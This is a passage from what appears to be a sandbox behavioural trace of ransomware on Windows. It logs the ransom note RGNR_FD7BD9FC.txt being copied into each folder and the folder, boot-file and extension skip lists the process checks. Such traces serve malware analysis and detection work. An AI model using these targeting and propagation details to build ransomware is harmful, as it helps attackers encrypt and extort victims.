lpFileName="\\\\?\\C:\\PerfLogs\\*.*", nBufferLength=0x104, lpBuffer=0x1ed648, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\PerfLogs\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0x13 [0047.888] lstrcpyW (in: lpString1=0x1ed668, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0047.888] PathFindExtensionW (pszPath="\\\\?\\C:\\PerfLogs\\RGNR_FD7BD9FC.txt") returned=".txt" [0047.888] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0047.888] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec77a20, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ec77a20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.888] FindClose (in: hFindFile=0x5a1268 | out: hFindFile=0x5a1268) returned 1 [0047.888] FindNextFileW (in: hFindFile=0x5a1228, lpFindFileData=0x1ee328 | out: lpFindFileData=0x1ee328*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa4d235b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa4d235b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0047.888] lstrcmpiW (lpString1="Program Files", lpString2=".") returned 1 [0047.888] lstrcmpiW (lpString1="Program Files", lpString2="..") returned 1 [0047.888] lstrcmpiW (lpString1="Program Files", lpString2="Windows") returned -1 [0047.888] lstrcmpiW (lpString1="Program Files", lpString2="Windows.old") returned -1 [0047.888] lstrcmpiW (lpString1="Program Files", lpString2="Tor browser") returned -1 [0047.888] lstrcmpiW (lpString1="Program Files", lpString2="Internet Explorer") returned 1 [0047.888] lstrcmpiW (lpString1="Program Files", lpString2="Google") returned 1 [0047.888] lstrcmpiW (lpString1="Program Files", lpString2="Opera") returned 1 [0047.888] lstrcmpiW (lpString1="Program Files", lpString2="Opera Software") returned 1 [0047.888] lstrcmpiW (lpString1="Program Files", lpString2="Mozilla") returned 1 [0047.888] lstrcmpiW (lpString1="Program Files", lpString2="Mozilla Firefox") returned 1 [0047.888] lstrcmpiW (lpString1="Program Files", lpString2="$Recycle.Bin") returned 1 [0047.888] lstrcmpiW (lpString1="Program Files", lpString2="ProgramData") returned -1 [0047.888] lstrcmpiW (lpString1="Program Files", lpString2="All Users") returned 1 [0047.888] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\*.*", nBufferLength=0x104, lpBuffer=0x1ee120, lpFilePart=0x1ee5cc | out: lpBuffer="\\\\?\\C:\\*.*", lpFilePart=0x1ee5cc*="*.*") returned 0xa [0047.888] lstrcpyW (in: lpString1=0x1ee12e, lpString2="Program Files" | out: lpString1="Program Files") returned="Program Files" [0047.888] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\") returned="\\\\?\\C:\\Program Files\\" [0047.888] lstrcpyW (in: lpString1=0x1edf14, lpString2="\\\\?\\C:\\Program Files\\" | out: lpString1="\\\\?\\C:\\Program Files\\") returned="\\\\?\\C:\\Program Files\\" [0047.888] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\RGNR_FD7BD9FC.txt" [0047.888] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0047.890] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\*.*") returned="\\\\?\\C:\\Program Files\\*.*" [0047.890] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\*.*", nBufferLength=0x104, lpBuffer=0x1ed234, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\Program Files\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0x18 [0047.890] lstrcpyW (in: lpString1=0x1ed02c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.890] lstrcpyW (in: lpString1=0x1ed25e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.890] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\*.*", lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6ec9db80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ec9db80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1268 [0047.890] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.890] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6ec9db80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ec9db80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.890] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.890] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.890] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0047.891] lstrcmpiW (lpString1="Common Files", lpString2=".") returned 1 [0047.891] lstrcmpiW (lpString1="Common Files", lpString2="..") returned 1 [0047.891] lstrcmpiW (lpString1="Common Files", lpString2="Windows") returned -1 [0047.891] lstrcmpiW (lpString1="Common Files", lpString2="Windows.old") returned -1 [0047.891] lstrcmpiW (lpString1="Common Files", lpString2="Tor browser") returned -1 [0047.891] lstrcmpiW (lpString1="Common Files", lpString2="Internet Explorer") returned -1 [0047.891] lstrcmpiW (lpString1="Common Files", lpString2="Google") returned -1 [0047.891] lstrcmpiW (lpString1="Common Files", lpString2="Opera") returned -1 [0047.891] lstrcmpiW (lpString1="Common Files", lpString2="Opera Software") returned -1 [0047.891] lstrcmpiW (lpString1="Common Files", lpString2="Mozilla") returned -1 [0047.891] lstrcmpiW (lpString1="Common Files", lpString2="Mozilla Firefox") returned -1 [0047.891] lstrcmpiW (lpString1="Common Files", lpString2="$Recycle.Bin") returned 1 [0047.891] lstrcmpiW (lpString1="Common Files", lpString2="ProgramData") returned -1 [0047.891] lstrcmpiW (lpString1="Common Files", lpString2="All Users") returned 1 [0047.891] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\*.*", nBufferLength=0x104, lpBuffer=0x1ed648, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\Program Files\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0x18 [0047.891] lstrcpyW (in: lpString1=0x1ed672, lpString2="Common Files" | out: lpString1="Common Files") returned="Common Files" [0047.891] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\") returned="\\\\?\\C:\\Program Files\\Common Files\\" [0047.891] lstrcpyW (in: lpString1=0x1ed43c, lpString2="\\\\?\\C:\\Program Files\\Common Files\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\") returned="\\\\?\\C:\\Program Files\\Common Files\\" [0047.899] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\RGNR_FD7BD9FC.txt" [0047.899] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0047.901] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\*.*" [0047.901] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\*.*", nBufferLength=0x104, lpBuffer=0x1ec75c, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x25 [0047.901] lstrcpyW (in: lpString1=0x1ec554, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.901] lstrcpyW (in: lpString1=0x1ec7a0, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.901] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6ec9db80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ec9db80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.901] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.901] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6ec9db80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ec9db80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.901] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.901] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.901] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0047.901] lstrcmpiW (lpString1="DESIGNER", lpString2=".") returned 1 [0047.901] lstrcmpiW (lpString1="DESIGNER", lpString2="..") returned 1 [0047.901] lstrcmpiW (lpString1="DESIGNER", lpString2="Windows") returned -1 [0047.901] lstrcmpiW (lpString1="DESIGNER", lpString2="Windows.old") returned -1 [0047.901] lstrcmpiW (lpString1="DESIGNER", lpString2="Tor browser") returned -1 [0047.901] lstrcmpiW (lpString1="DESIGNER", lpString2="Internet Explorer") returned -1 [0047.901] lstrcmpiW (lpString1="DESIGNER", lpString2="Google") returned -1 [0047.901] lstrcmpiW (lpString1="DESIGNER", lpString2="Opera") returned -1 [0047.901] lstrcmpiW (lpString1="DESIGNER", lpString2="Opera Software") returned -1 [0047.901] lstrcmpiW (lpString1="DESIGNER", lpString2="Mozilla") returned -1 [0047.901] lstrcmpiW (lpString1="DESIGNER", lpString2="Mozilla Firefox") returned -1 [0047.901] lstrcmpiW (lpString1="DESIGNER", lpString2="$Recycle.Bin") returned 1 [0047.901] lstrcmpiW (lpString1="DESIGNER", lpString2="ProgramData") returned -1 [0047.902] lstrcmpiW (lpString1="DESIGNER", lpString2="All Users") returned 1 [0047.902] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x25 [0047.902] lstrcpyW (in: lpString1=0x1ecbb4, lpString2="DESIGNER" | out: lpString1="DESIGNER") returned="DESIGNER" [0047.902] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\") returned="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\" [0047.902] lstrcpyW (in: lpString1=0x1ec964, lpString2="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\") returned="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\" [0047.902] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\RGNR_FD7BD9FC.txt" [0047.902] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\designer\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0047.904] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\*.*" [0047.904] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\*.*", nBufferLength=0x104, lpBuffer=0x1ebc84, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x2e [0047.904] lstrcpyW (in: lpString1=0x1eba7c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.904] lstrcpyW (in: lpString1=0x1ebcda, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.904] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\*.*", lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ecc3ce0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ecc3ce0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12e8 [0047.904] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.904] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ecc3ce0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ecc3ce0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.904] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.904] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.904] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1 [0047.904] lstrcmpiW (lpString1="MSADDNDR.DLL", lpString2=".") returned 1 [0047.904] lstrcmpiW (lpString1="MSADDNDR.DLL", lpString2="..") returned 1 [0047.904] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ecc3ce0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ecc3ce0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.904] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0047.904] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0047.904] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ecc3ce0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ecc3ce0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.904] FindClose (in: hFindFile=0x5a12e8 | out: hFindFile=0x5a12e8) returned 1 [0047.904] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\*.*", lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ecc3ce0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ecc3ce0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12e8 [0047.905] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ecc3ce0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ecc3ce0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.905] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1 [0047.905] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x2e [0047.905] lstrcpyW (in: lpString1=0x1ec0ee, lpString2="MSADDNDR.DLL" | out: lpString1="MSADDNDR.DLL") returned="MSADDNDR.DLL" [0047.905] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned=".DLL" [0047.905] lstrcmpiW (lpString1="MSADDNDR.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0047.905] lstrcmpiW (lpString1="MSADDNDR.DLL", lpString2="autorun.inf") returned 1 [0047.905] lstrcmpiW (lpString1="MSADDNDR.DLL", lpString2="boot.ini") returned 1 [0047.905] lstrcmpiW (lpString1="MSADDNDR.DLL", lpString2="bootfont.bin") returned 1 [0047.905] lstrcmpiW (lpString1="MSADDNDR.DLL", lpString2="bootsect.bak") returned 1 [0047.905] lstrcmpiW (lpString1="MSADDNDR.DLL", lpString2="bootmgr") returned 1 [0047.905] lstrcmpiW (lpString1="MSADDNDR.DLL", lpString2="bootmgr.efi") returned 1 [0047.905] lstrcmpiW (lpString1="MSADDNDR.DLL", lpString2="bootmgfw.efi") returned 1 [0047.905] lstrcmpiW (lpString1="MSADDNDR.DLL", lpString2="desktop.ini") returned 1 [0047.905] lstrcmpiW (lpString1="MSADDNDR.DLL", lpString2="iconcache.db") returned 1 [0047.905] lstrcmpiW (lpString1="MSADDNDR.DLL", lpString2="ntldr") returned -1 [0047.905] lstrcmpiW (lpString1="MSADDNDR.DLL", lpString2="ntuser.dat") returned -1 [0047.905] lstrcmpiW (lpString1="MSADDNDR.DLL", lpString2="ntuser.dat.log") returned -1 [0047.905] lstrcmpiW (lpString1="MSADDNDR.DLL", lpString2="ntuser.ini") returned -1 [0047.905] lstrcmpiW (lpString1="MSADDNDR.DLL", lpString2="thumbs.db") returned -1 [0047.905] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0047.905] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0047.905] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0047.905] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ecc3ce0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ecc3ce0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.905] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x2e [0047.905] lstrcpyW (in: lpString1=0x1ec0ee, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0047.905] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\RGNR_FD7BD9FC.txt") returned=".txt" [0047.905] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0047.905] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ecc3ce0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ecc3ce0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.905] FindClose (in: hFindFile=0x5a12e8 | out: hFindFile=0x5a12e8) returned 1 [0047.905] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0047.906] lstrcmpiW (lpString1="Microsoft Shared", lpString2=".") returned 1 [0047.906] lstrcmpiW (lpString1="Microsoft Shared", lpString2="..") returned 1 [0047.906] lstrcmpiW (lpString1="Microsoft Shared", lpString2="Windows") returned -1 [0047.906] lstrcmpiW (lpString1="Microsoft Shared", lpString2="Windows.old") returned -1 [0047.906] lstrcmpiW (lpString1="Microsoft Shared", lpString2="Tor browser") returned -1 [0047.906] lstrcmpiW (lpString1="Microsoft Shared", lpString2="Internet Explorer") returned 1 [0047.906] lstrcmpiW (lpString1="Microsoft Shared", lpString2="Google") returned 1 [0047.906] lstrcmpiW (lpString1="Microsoft Shared", lpString2="Opera") returned -1 [0047.906] lstrcmpiW (lpString1="Microsoft Shared", lpString2="Opera Software") returned -1 [0047.906] lstrcmpiW (lpString1="Microsoft Shared", lpString2="Mozilla") returned -1 [0047.906] lstrcmpiW (lpString1="Microsoft Shared", lpString2="Mozilla Firefox") returned -1 [0047.906] lstrcmpiW (lpString1="Microsoft Shared", lpString2="$Recycle.Bin") returned 1 [0047.906] lstrcmpiW (lpString1="Microsoft Shared", lpString2="ProgramData") returned -1 [0047.906] lstrcmpiW (lpString1="Microsoft Shared", lpString2="All Users") returned 1 [0047.906] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x25 [0047.906] lstrcpyW (in: lpString1=0x1ecbb4, lpString2="Microsoft Shared" | out: lpString1="Microsoft Shared") returned="Microsoft Shared" [0047.906] lstrcatW 